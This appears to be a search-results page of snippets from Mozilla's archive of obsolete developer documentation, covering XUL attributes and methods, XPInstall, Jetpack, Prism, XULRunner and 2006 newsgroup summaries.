bool b2 = npn_getproperty( m_pnpinstance, locationobj, identifier, &variantvalue );
this code is just a rough example.
...
this returns an addrefed nsidomelement interface pointer from which you can call .ownerdocument (on nsidomnode), queryinterface that object to nsidom3document, and call .documenturi.
List of Former Mozilla-Based Applications - Archive of obsolete content
browser last news item on site from september 2006 gencatrss rss reader domain switched over to domain parking service ghostzilla browser archived version of ghostzilla site from 2005 homebase desktop operating environment for internet computers no longer available hp printer assistant printer utility hall of fame page mentions that
this used an embedded version of mozilla at some point but i can't find reference to current status (may still be using mozilla code?) icebrowser java browser sdk uses mozilla rhino --eol'ed in 2009 (jin'sync) office app launcher download page last updated on 12/21/06 kylix compiler and integrated development environment borland discontinued
this product.
...the authoring part of
this app was xulrunner based.
Adding the structure - Archive of obsolete content
to implement
this ui, we'll add a statusbarpanel element to the statusbar element in the navigator.xul file.
...all xul elements can be given custom attributes in addition to the ones the xul rendering engine recognizes which get ignored by the engine, so adding
this custom attribute does not create any problems or modify the way the widget is displayed (except for the ways we explicitly specify with css).
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
in
this case we use it to retrieve an html page containing a brief summary of the current tinderbox state.
...
this is because we need to reference it in the updatetinderboxstatus() function as well as the current function, and we can't pass the object from one function to the other because the one doesn't call the other directly.
Specifying the appearance - Archive of obsolete content
for
this we have to first create four icons, one for each tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image: url("chrome://navigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/content/tb-bus...
...ted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a new set gets installed), so we'll put
this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
Creating a hybrid CD - Archive of obsolete content
warning: the content of
this article may be out of date.
... original document information author(s): dawn endico last updated date: may 1, 2001 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Creating a Release Tag - Archive of obsolete content
warning: the content of
this article may be out of date.
...-name cvs | xargs -l -p10 cvs tag -l mozilla_0_9_4_1_release >& ../taglog original document information author(s): dawn endico last updated date: november 1, 2005 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by
this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="
this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="...
... state that we work only with major version 1 of
this package.
Using Dehydra - Archive of obsolete content
see documentation for: process_type, input_end, print, .loc property example: using attributes to mark a class as "final" save the following code as final.cc: //
this class should not be subclassed!
... class __attribute__((user("final"))) myclass { }; //
this subclass should be an error class subclass : public myclass { }; save the following analysis script final.js: /** * helper function: returns true if a class is marked with the "final" attribute.
Embedding FAQ - Archive of obsolete content
however, there is a stripped down, uncommented code with eclipse libraries in
this thread.
...you can find a better quality answer repeated and with an example in
this newsgroup thread.
Gecko Coding Help Wanted - Archive of obsolete content
roc is willing to work closely with anyone with reasonable c++ experience to get them started on
this.
... original document information author(s): fantasai last updated date: may 4, 2004 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Isp Data - Archive of obsolete content
this page will explain how to create a .rdf or .xml file that you can place in the $installfolder/default/isp to do a variety of things.
...
this page applies to thunderbird (mail/news).
Jetpack Snippets - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
... </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); }}); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar object exinitslidebar(slide); }, ...});function exinitslidebar(aslidebar) { //
this variable will now be global slider = aslidebar;} // then, accessing the slidebar htmlvar tl = slider.contentdocument.getelementbyid("thumblist"); // or calling slidebar api methods or accessing propertiesslider.notify(); ...
Clipboard Test - Archive of obsolete content
the namespace associated with
this api is jetpack.clipboard which provides both read and write access to the clipboard.
...
this api currently lives in the future and must be imported for use.
slideBar - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xmlurluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)
this is a list of options to specify modifications to your slidebar instance.
Litmus tests - Archive of obsolete content
bfts, or basic functionality tests
this set of tests would take longer to run, but will cover an entire release.
...ffts, or full functionality tests
this is supposed to be more comprehensive and will take longer to run.
Microsummary topics - Archive of obsolete content
in the future, firefox may access source urls to download updated versions of generators, so unless you are installing generators which are available from urls, you should not use
this form for your programmatically-installed generators.
...to mitigate
this effect, only return microsummary-specific cache headers in response to microsummary-related requests.
Mozilla Application Framework - Archive of obsolete content
editor's note:
this article should be rewritten to describe why use xulrunner to create your own application.
... original document information author(s): myk melez last updated date: march 3, 2003 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Plug-n-Hack Get Involved - Archive of obsolete content
while
this project has been started by the mozilla security team and has been validated with firefox and owasp zap,
this is an open project and we welcome involvement from anyone, especially people working on other browsers and security tools.
...you can also talk to the mozilla security team about
this project on the #websectools irc channel.
Plug-n-Hack Phase2 - Archive of obsolete content
this will allow the tools to obtain information directly from the browser, and even use the browser as an extension of the tool.
... if you are interested in working on
this aspect then please get in touch.
Build - Archive of obsolete content
the contents of the file should look something like
this : mk_add_options moz_co_project=xulrunner mk_add_options moz_objdir=@topsrcdir@/mozilla-obj ac_add_options --enable-application=xulrunner ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests ac_add_options --disable-javaxpcom build xulrunner : make -f client.mk build once the build is done, there will be a directory called mozilla-obj.
...
this variable is called mozconfig export mozconfig=$pwd/.mozconfig #
this should point to mozilla/prism/.mozconfig go back to the mozilla/ directory and do another build,
this time, prism will get built cd ../ make -f client.mk build congratulations, you have just built prism.
Installer - Archive of obsolete content
this means that when you double-click or launch a *.webapp file, prism is launched and automatically opens the web application.
... one interesting side effect is that after
this change, you can select a link to a .webapp file in a web page and you get it run by prism - in ie
this runs anywhere, but
this won't work in firefox unless the webapp is being issued with an appropriate mime type on the server: application/x-webapp works (see an example ).
Scripting - Archive of obsolete content
this file will be loaded into the prism chrome window very much like a firefox extension is loaded into the browser chrome window.
...
this level of functionality is commonly called chrome-level privileges.
Proxy UI - Archive of obsolete content
for the purposes of
this document, "proxy mode" means both: whatever was selected in the ui (as opposed to the value of the network.proxy.type.
...for example, firefox 3: [ ] no proxy [ ] auto-detect proxy settings for
this network [ ] manual proxy configuration: [ ] automatic proxy configuration url: behavior default value: "no proxy" is selected all other "type" radio buttons are enabled, but not selected.
Remote XUL - Archive of obsolete content
this also means you can't load xul using file:// urls unless you set the preference dom.allow_xul_xbl_for_file to true.
...the remote xul manager extension lets you manage
this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like
this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); see using remote xul.
open - Archive of obsolete content
warning:
this section describes the file component of the spidermonkey javascript interpreter.
... description
this method opens the file, preparing its resources for use by subsequent methods to examine or modify the file.
Table Layout Regression Tests - Archive of obsolete content
warning: the content of
this article may be out of date.
... original document information author(s): bernd mielke other contributors: boris zbarsky last updated date: february 5, 2007 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Running Tamarin acceptance tests - Archive of obsolete content
this can be overrided with the threads flag: python ./runtests.py --threads=3 threading on cygwin / windows due to an issue with cygwin python, threading does not work, and threads will always be set to 1.
...if
this fails, do you have a dev os installed?
Unix stub installer - Archive of obsolete content
then untar and gunzip
this to /tmp.
... add an <component>.jst install script template file (the jst extension stands for javascript template indicating
this is a template for the final install.js for the <component>.xpi.
InstallTrigger.startSoftwareUpdate - Archive of obsolete content
installtrigger.startsoftwareupdate
this is a very simple example of the installtrigger object's principal method, startsoftwareupdate, which takes a string representing the path to the xpi and installs that xpi on the local machine.
...onclick="triggerurl(
this.form.url.value); ...
deleteRegisteredFile - Archive of obsolete content
deleteregisteredfile (netscape 6 and mozilla do not currently support
this method.) deletes the specified file and removes its entry from the client version registry.
...
this method is used to delete files that cannot be removed by the uninstall method or to remove files that are no longer necessary or whose names have changed.
loadResources - Archive of obsolete content
this method is used to internationalize installation scripts by allowing the installer to retrieve localized string values from a separate file.
...example given a xpi with
this internal structure: install.js bin/res_eg_2.properties bin/somefile.exe bin/...
setPackageFolder - Archive of obsolete content
you create
this object by passing a string representing the directory to the getfolder or getcomponentfolder method.
...you should only call
this method once, and you should always call it immediately after you call initinstall.
getString - Archive of obsolete content
unlike that function,
this method does not support using a null key to return a list of keys in a section.
... example to get the name of the wallpaper file from the desktop section of the win.ini file, use
this call: ini = getwinprofile (getfolder("windows"), "win.ini"); var wallpapervalue = ini.getstring ("desktop", "wallpaper"); ...
writeString - Archive of obsolete content
unlike the writeprivateprofilestring function,
this method does not support using a null key to delete an entire section.
... example to set the name of the wallpaper file from the desktop section of the win.ini file, use
this call: ini = getwinprofile (getfolder("windows"), "win.ini"); ini.writestring ("desktop", "wallpaper", "newpathname"); ...
setRootKey - Archive of obsolete content
if you want to access keys in another portion, you must use
this method to change the root key.
... on 16-bit windows platforms, hkey_classes_root is the only valid value and
this method does nothing.
autocheck - Archive of obsolete content
« xul reference home autocheck type: boolean if
this attribute is true or left out, the checked state of the button will be switched each time the button is pressed.
... if
this attribute is false, the checked state must be adjusted manually.
autoscroll - Archive of obsolete content
« xul reference home autoscroll type: boolean set to false to disable autoscroll for
this browser.
... if
this attribute is set to true or omitted, autoscroll will be enabled or depending on the user preference general.autoscroll.
checked - Archive of obsolete content
use hasattribute() to determine whether
this attribute is set instead of getattribute().
... for buttons, the type attribute must be set to checkbox or radio for
this attribute to have any effect.
chromemargin - Archive of obsolete content
this value may be -1 to use the default margin for that side on the current platform, 0 to have no system border (that is, to extend the client area to the edge of the window), or a value greater than zero to indicate how much less than the default default width you wish the margin on that side to be.
... if
this value turns out to be less than 0, 0 is used.
closebutton - Archive of obsolete content
« xul reference home closebutton obsolete since gecko 1.9.2 type: boolean if
this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends.
...
this feature is used by the tabbrowser to provide the facilities for adding and closing tabs.
color - Archive of obsolete content
this is modified when the user selects a color.
... you can assign a string of the form #rrggbb to
this property to change the selected color.
colorpicker.type - Archive of obsolete content
« xul reference home type type: string if
this attribute is not present, the colorpicker is displayed inside the window.
... if
this is set to the text button, the colorpicker is displayed as a button.
current - Archive of obsolete content
« xul reference home current type: boolean
this attribute will be set to true if the listitem is the current item.
...
this is typically used by a theme to customize the focus ring.
customizable - Archive of obsolete content
« xul reference home customizable not in seamonkey 1.x type: boolean set
this attribute to true on toolbars that can be customized.
...
this causes the set of buttons to be persisted across sessions.
disablefastfind - Archive of obsolete content
« xul reference homedisablefastfindtype: booleanput disablefastfind="true" on the root element of a xul document, which is intended to be loaded in a tab, to disable the find bar for the tab with
this document.
...
this is used to prevent the find bar from being displayed when it's not supported by the content (such as in the add-ons manager tab).
dragging - Archive of obsolete content
« xul reference home dragging type: boolean
this attribute will be set to true if the column is being dragged.
...
this attribute is set automatically; you shouldn't adjust it yourself.
eventnode - Archive of obsolete content
if
this attribute is not specified, events are listened to from the tabbox.
... thus, if
this attribute is not used, the tabbox or an element inside it must have the focus for the keyboard navigation to apply.
fadein - Archive of obsolete content
« xul reference home fadein type: boolean
this attribute is set to true if the tab is fading in or out.
...
this typically means that the tab is in the process of appearing or disappearing.
first-tab - Archive of obsolete content
« xul reference home first-tab type: boolean
this attribute will be set to true for the first tab.
...
this attribute should not be set manually, but is useful in a theme if the first tab should be styled differently.
homepage - Archive of obsolete content
« xul reference home homepage type: url
this attribute allows you to set a homepage for the browser element.
...you can switch to
this home page using the gohome method.
id - Archive of obsolete content
you can use
this as a parameter to getelementbyid() and other dom functions and to reference the element in style sheets.
... example <button id="foo" label="click me" oncommand="dosomething()"/> <script> function dosomething(){ var mybutton = document.getelementbyid('foo'); mybutton.setattribute('label','the button was pressed'); } </script> a more abstract version of the above would be a <button id="foo" label="click me" oncommand="setwidgetlabel(
this, 'i was pressed')"/> <script> function setwidgetlabel(idname, newcaption){ document.getelementbyid( idname.id ).setattribute('label',newcaption) } </script> not specifying the id attribute for a window or a prefwindow fills the console with the following warning message: warning: empty string passed to getelementbyid() see also name ...
iframe.transparent - Archive of obsolete content
« xul reference hometransparenttype: one of the values belowset the background of an iframe as transparent.transparent
this results in the iframe's background being transparent.
...
this can be used to workaround things like bug 540911 ...
insertafter - Archive of obsolete content
this attribute overrides the insertbefore attribute.
...
this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
label - Archive of obsolete content
if
this is left out, no text appears.
... for an editable menuitem element the value of
this attribute is copied to the menulist.value property upon user selection of the menuitem.
last-tab - Archive of obsolete content
« xul reference home last-tab type: boolean
this attribute will be set to true for the last tab.
...
this attribute should not be set manually, but is useful in a theme if the last tab should be styled differently.
menuactive - Archive of obsolete content
« xul reference home menuactive type: boolean
this attribute is set on an item in a menu when it is being hovered over.
... typcially, the theme will use
this to highlight the item.
noautohide - Archive of obsolete content
« xul reference home noautohide type: boolean if
this attribute is set to false or omitted, the tooltip will automatically disappear after a few seconds.
... if
this attribute is set to true,
this will not happen and the tooltip will only hide when the user moves the mouse to another element.
oncommand - Archive of obsolete content
« xul reference home oncommand type: script code
this event handler is called when the command is activated.
...
this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command.
ontextcommand - Archive of obsolete content
« xul reference home ontextcommand obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey
this event handler is called when a result is selected for the textbox.
... as of gecko 1.9.1,
this attribute is superseded by the ontextentered attribute.
ontextrevert - Archive of obsolete content
« xul reference home ontextrevert obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey
this event handler is called when the user presses escape to revert the textbox to its original uncompleted value.
... as of gecko 1.9.1,
this attribute is superseded by the ontextreverted attribute.
pageid - Archive of obsolete content
« xul reference home pageid type: id
this attribute should be set to a string that identifies the page's identifer in the wizard.
...
this is used with the next attribute.
panel.level - Archive of obsolete content
if
this attribute is not set, the popup window level depends on the platform.
...if a panel has one or more text fields,
this attribute should not be set, otherwise ime or on-screen keyboard popups will appear incorrectly.
pending - Archive of obsolete content
« xul reference home pending type: boolean
this attribute is set to true if the tab is currently in the process of being restored by the session store service.
... once the tab is restored,
this attribute is removed.
prefwindow.type - Archive of obsolete content
« xul reference home type type: string set
this attribute to child for preference dialogs that are child dialogs of a main preferences window.
...
this ensures that the preferences are only saved when the main dialog is closed, if
this is the appropriate behaviour for the platform.
resizer.type - Archive of obsolete content
« xul reference hometypetype: stringset
this to the value "window" for a resizing grip that appears in the bottom corner of the window, used for resizing the window.
... as some platforms provide
this resizing grip automatically,
this type of resizer element will be hidden and ensure that the window does not get an extra resizer.
right - Archive of obsolete content
this location is specified with respect to the right edge of the stack prior to the element being evaluated, or added to the stack.
... placing the element which contains
this attribute within the stack may result in the stack changing size.
showimagecolumn - Archive of obsolete content
there is no default styling of
this image, but the class name returned by the results appears in the property list for the column.
... if
this attribute is not specified, the image column doesn't appear.
sortResource - Archive of obsolete content
« xul reference home sortresource type: uri for template-generated content,
this specifies the sort key, if you would like the content to be sorted.
...place
this attribute on the same element as the datasources attribute.
toolbarbutton.title - Archive of obsolete content
« xul reference home title type: string
this functionality only applies when toolbarbutton is used in the customize toolbar dialog.
...
this does not affect the button's label when it is in a toolbar, which remains determined by the label attribute.
unread - Archive of obsolete content
« xul reference home unread type: boolean
this attribute is set to true if the tab is unread; that is, either it has not yet been selected during the current session, or has changed since the last time it was selected.
...
this attribute is not present if the tab is not unread.
validate - Archive of obsolete content
« xul reference home validate type: one of the values below
this attribute indicates whether to load the image from the cache or not.
...
this would be useful if the images are stored remotely or you plan on swapping the image frequently.
wrap - Archive of obsolete content
« xul reference home wrap type: string set
this attribute to the value off to disable word wrapping in the textbox.
... if
this attribute is not specified, word wrapping is enabled.
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagaincommand( findprevious ) return type: no return value call
this method to handle your application's "find next" and "find previous" commands.
... you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next." example typically, you'll simply bind
this method to your "find next" and "find previous" commands, like
this: <command name="cmd_find_previous" oncommand="gfindbar.onfindagaincommand(true);"/> <command name="cmd_find_next" oncommand="gfindbar.onfindagaincommand(false);"/> ...
swapDocShells - Archive of obsolete content
« xul reference home swapdocshells( otherbrowser ) return type: no return value swaps the content, history and current state of
this browser with another browser.
...
this method can be used to move browser between windows or tear off a browser into a new window.
addTab - Archive of obsolete content
firefox 3.6 note the second form of
this method was added in firefox 3.6; it allows you to specify the parameters by name, in any order.
... it also adds the relatedtocurrent parameter; firefox uses
this to decide whether the new tab should be inserted next to the current tab.
advance - Archive of obsolete content
« xul reference home advance( pageid ) return type: no return value call
this method to go to the next page.
...
this is equivalent to pressing the next button.
getElementsByAttribute - Archive of obsolete content
note that like most nodelists (but unlike the nodelist returned by queryselectorall), the nodelist returned by
this method is live.
... note that
this method is only available on xul elements; it is not part of the w3c dom.
getNextItem - Archive of obsolete content
« xul reference home getnextitem( startitem, delta ) return type: element
this method returns the item a given distance (delta) after the specified startitem, or null if no such item exists.
...
this example will return the item two rows after someitem: getnextitem ( someitem, 2 ); ...
getPreviousItem - Archive of obsolete content
« xul reference home getpreviousitem( startitem, delta ) return type: element
this method returns the item a given distance (delta) before the specified startitem, or null if no such item exists.
...
this example will return the item five rows before someitem: getpreviousitem ( someitem, 5 ); ...
getSelectedItem - Archive of obsolete content
« xul reference home getselecteditem( index ) return type: element when multiple items are selected, you can retrieve each selected item using
this method.
...the item index is zero-based, thus
this example will return the first selected item: getselecteditem(0).
goTo - Archive of obsolete content
« xul reference home goto( pageid ) return type: no return value
this method is used to change which page is currently displayed, specified by the pageid argument.
...the onwizardback and onwizardnext code is not called when using
this function.
insertItemAt - Archive of obsolete content
« xul reference home insertitemat( index, label, value ) return type: element
this method creates a new item and inserts it at the specified position.
... note: you cannot insert an item to an index that does not exist, eg: trying to insert an item at the end with element.getrowcount() + 1 example <!--
this example inserts at the selected item or appends, then selects the newly created item --> <script language="javascript"> function insertitemtolist(){ var mylistbox = document.getelementbyid('mylistbox'); // create a date to get some labels and values var somedate = new date(); if(mylistbox.selectedindex == -1){ // no item was selected in list so append to the end mylistbox.appenditem( somedate.tolocaletimestring(), somedate.gettime() ); var newindex = mylistbox.getrowcount() -1 }else{ // item was selected so insert...
loadURI - Archive of obsolete content
« xul reference home note:
this is the xul method on <browser> / <tabbrowser>, not the global function in chrome://browser/content/browser.js.
...(
this one has no post data parameter, see loaduriwithflags for a version that does) loaduri( uri, referrer, charset ) return type: no return value load a url into the document, with the given referrer and character set.
reloadWithFlags - Archive of obsolete content
this is the flag used when the reload button is pressed while the shift key is held down.
... load_flags_charset_change:
this flag is used if the document needs to be reloaded because the character set changed.
showPopup - Archive of obsolete content
this is what you might do to show a popup below a button, for example.
... in
this latter case, the anchor and align arguments may be used to further control where the popup appears relative to the element.
Node - Archive of obsolete content
summary
this is a scriptable interface corresponding to the nsidomnode xpcom interface.
...for more information on
this interface please see dom-level-2-core short element_node 1 short attribute_node 2 short text_node 3 short cdata_section_node 4 short entity_reference_node 5 short entity_node 6 short processing_instruction_node 7 short comment_node 8 short document_node 9 short document_type_node 10 short document_fragment_node 11 short notation_node 12 methods node appendchild ( node newchild ) node clonenode ( boolean deep ) boolean hasattributes ( ) boolean haschildnodes ( ) node insertbefore ( node newchild , node refchild ) boolean issupported ( string feature , string version ) void normalize ( ) node r...
color - Archive of obsolete content
this is modified when the user selects a color.
... you can assign a string of the form #rrggbb to
this property to change the selected color.
currentIndex - Archive of obsolete content
for unfocused trees, the (undrawn) caret's position can still be obtained by
this property.
... you cannot rely on
this property to change or determine a tree selection, except for trees with seltype="single".
currentPage - Archive of obsolete content
« xul reference currentpage type: wizardpage element
this property returns the wizardpage element that is currently displayed.
... you can modify
this value to change the current page.
currentSet - Archive of obsolete content
you may change the current set of items by setting
this property.
... be careful, as setting
this property doesn't automatically update the currentset attribute.
listBoxObject - Archive of obsolete content
this property is read-only.
... most of the features of the list box are already available directly in the listbox, so you will rarely have need to use
this box object directly.
pageIndex - Archive of obsolete content
« xul reference pageindex type: integer
this property returns the index of the currently selected page.
... you can change the selected page by modifying
this property.
pageStep - Archive of obsolete content
« xul reference pagestep type: integer
this property returns the number of pages that the user has navigated through so far, meaning that the user would press the back button
this many times to go back to the beginning.
...
this property is different than pageindex, because pages are not necessarily navigated in order.
pageid - Archive of obsolete content
« xul reference pageid type: string wizardpage id
this attribute should be set to a string that identifies the page's identifer in the wizard.
...
this is used with the next attribute.
popupBoxObject - Archive of obsolete content
« xul reference popupboxobject type: nsipopupboxobject
this read-only property holds the nsipopupboxobject that implements the popup.
... you wouldn't normally need to use
this property as all of its functions are available via the popup itself.
treeBoxObject - Archive of obsolete content
this object implements the nsitreeboxobject interface and contains functions for retrieving the cells at certain coordinates, redrawing cells and scrolling the tree.
...
this property is equivalent to the boxobject property.
Providing Command-Line Options - Archive of obsolete content
using the example to use
this sample code, save the commandline.js file into the components directory and add the following lines to your chrome.manifest file: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandlinehandler/general-startu...
...ler.idl // specifically, flag descriptions should start at // character 24, and lines should be wrapped at // 72 characters with embedded newlines, // and finally, the string should end with a newline helpinfo : " -myapp open my application\n" + " -viewapp <uri> view and edit the uri in my application,\n" + " wrapping
this description\n" }; var nsgetfactory = xpcomutils.generatensgetfactory([commandlinehandler]); ...
chromeclass-toolbar - Archive of obsolete content
« xul reference home chromeclass-toolbar when
this class is used, the toolbar will be hidden when a window is opened by setting the toolbar option to no in the window.open method.
... otherwise,
this option will be ignored for
this toolbar and it will always be visible.
XUL FAQ - Archive of obsolete content
this document contains answers to frequently asked questions about xul, mozilla's markup language for describing application's user interface.
... troubleshooting prefwindow-based options windows
this ought to be on a separate page, preferences system troubleshooting.
XULBrowserWindow - Archive of obsolete content
in order to do so it implements the following interfaces: nsisupports nsixulbrowserwindow nsiwebprogresslistener nsiwebprogresslistener2 nsisupportsweakreference note:
this page is not complete at
this time.
...you can augment the functionality of
this method using chaining in order to hide chrome for other locations.
XUL Coding Style Guidelines - Archive of obsolete content
in the new world, mozilla 5.0,
this is not true any more.
... <?xml version="1.0" encoding='utf-8'?> <!-- do not localize
this file: [reason...] it isn't part of the build; --> when translators see
this line, they won't bother to look at the rest of the file.
conditions - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element should appear directly inside a rule element and is used to define conditions for the rule.
...
this element is used with firefox 2/mozilla 1.8 and earlier instead of the query element.
dialogheader - Archive of obsolete content
this element should be placed inside a dialog element.
...if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
promptBox - Archive of obsolete content
note:
this is largely an implementation detail; if you're developing an add-on, you shouldn't need to tinker with
this.
...nodelist listprompts( nsidomelement aprompt ); parameters aprompt
this parameter isn't used; i don't know why it's even there.
resizer - Archive of obsolete content
typetype: stringset
this to the value "window" for a resizing grip that appears in the bottom corner of the window, used for resizing the window.
... as some platforms provide
this resizing grip automatically,
this type of resizer element will be hidden and ensure that the window does not get an extra resizer.
stack - Archive of obsolete content
in some case, setting the width or height
this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results.
...--> </hbox> </stack> in
this example, the resulting width of the top-most hbox will be 400px (600px - 200px - 0) : <stack width="600"> <hbox flex="1"> <!-- content --> </hbox> <hbox left="0" right="200" > <!-- some content here.
stringbundle - Archive of obsolete content
for example, the following defines two properties: message.displayerror=an error occured trying to display
this message message.namealreadyused=the name %s is already being used by another account.
...
this is an object which implements nsilocale.
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
xulrunner 1.8.0.4 is now available as a security/stability update; all users should install
this new version.
...
this is a developer preview release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases.
Debugging a XULRunner Application - Archive of obsolete content
this will only work if the pref pref("browser.dom.window.dump.enabled", true) is enabled.
... note the "new in firefox 3" attribute "contentaccessible" on https://developer.mozilla.org/en/chrome_registration so as per http://markmail.org/message/ezbomhkw3bgqjllv#query:x-jsd+page:1+mid:xvlr7odilbyhn6v7+state:results change the manifest to have
this line: content venkman jar:venkman.jar!/content/venkman/ contentaccessible=yes i get errors about not being able to open contentareautils.js, contentareadd.js, findutils.js, or contentareautils.js...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 18 - 24, 2006 announcements none for
this week discussions issues with 2.0 features there's renewed discussion on why certain features were removed in the 2.0 release, and the addition of support for s/mime and not pgp/gpg encryption.
... meetings none for
this week ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 18 - 24, 2006 announcements none for
this week discussions how to display toolbar button image within the customization palette?
... meetings none for
this week ...
2006-10-13 - Archive of obsolete content
new tinderbox installation new bonsai installation if any inconsistencies are found please use bugzilla to let them know discussions there were no discussions
this week.
... meetings there were no meetings
this week.
2006-10-06 - Archive of obsolete content
this launches a (misguided?) discussion and comparison of sunbird and lightning to outlook.
...adam gutherie replied that cbeard's blog post from nov 2005 is as close to a roadmap as exists right now and agrees that needs to be done about
this.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.platform - september 30th to october 6th 2006 announcements mike schroepfer is attending a vista compatibility lab with some other people
this week.
... other traffic there was no traffic on mozilla.dev.platform
this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.platform - october 7th to october 13th 2006 announcements no announcments
this week other traffic javascript package system for 1.9/ff3 on sun, oct 8 2006 robert sayre inquires about the javascript package system for 1.9 for firefox 3, robert would like to know if there is any chance we'll get
this?
... meetings no meetings
this week ...
2006-11-03 - Archive of obsolete content
chat with the creator of javascript and mozilla cto brendan eich
this tuesday, november 7th at 10am pst (utc-8) traffic xepra wants to know how to open multiple tabs in a new window.
...robert sayre notes that he and dave liebreich have a nice, simple environment set up for browser-based js tests meetings no meetings
this week ...
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.platform - november 4th - november 10th, 2006 announcements no announcements
this week traffic beaufour moves the discussion about xulrunner unit-tests like xpcshell from mozilla.dev.platform to mozilla.dev.quality.
... meetings no meetings
this week ...
2006-18-24 - Archive of obsolete content
summary: mozilla.dev.platform - november 18th - november 24th, 2006 announcements no announcements
this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
... meetings no meetings
this week ...
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.security - september 23, 2006 to september 29, 2006 return to mozilla-dev-security announcements none during
this week.
... meetings none during
this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.security - october 7, 2006 to october 13, 2006 return to mozilla-dev-security announcements none during
this week.
... meetings none during
this week.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.security - november 11, 2006 to november 17, 2006 return to mozilla-dev-security announcements none during
this week.
... meetings none during
this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.security - november 25, 2006 to december 1, 2006 return to mozilla-dev-security announcements none during
this week.
... meetings none during
this week.
JS-Engine FAQ - Archive of obsolete content
to write wrappers in pure javascript to interface with any c library on the system there are mechanisms such as xpcshell, wxjs, jsdb, jsni coding spidermonkey in c check out
this tutorial how to compile tamarin on linux/x86 there is a patch that allows you to compile it.
... how to compile javascript into java invoking compiler: java org.mozilla.javascript.tools.jsc.main [options] file1.js [file2.js...]
this results in a class file.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.tech.layout september 22-29, 2006 announcements no announcements for
this week.
... details can be located at mathml-in-html5 meetings no meetings for
this week.
2006-09-06 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 06-13, 2006 announcements none during
this week.
... tutorial on how to build xpcom component on mac os x firefox crashes when calling a function provided by a .so library a solution to the problem loading a shared library when using xpcom firefoxes crashes while getting url in xpcom solutions to resolve the problem of the firefox crash when trying to get the path and the prepath of the url of the current page in xpcom meetings none during
this week.
2006-09-30 - Archive of obsolete content
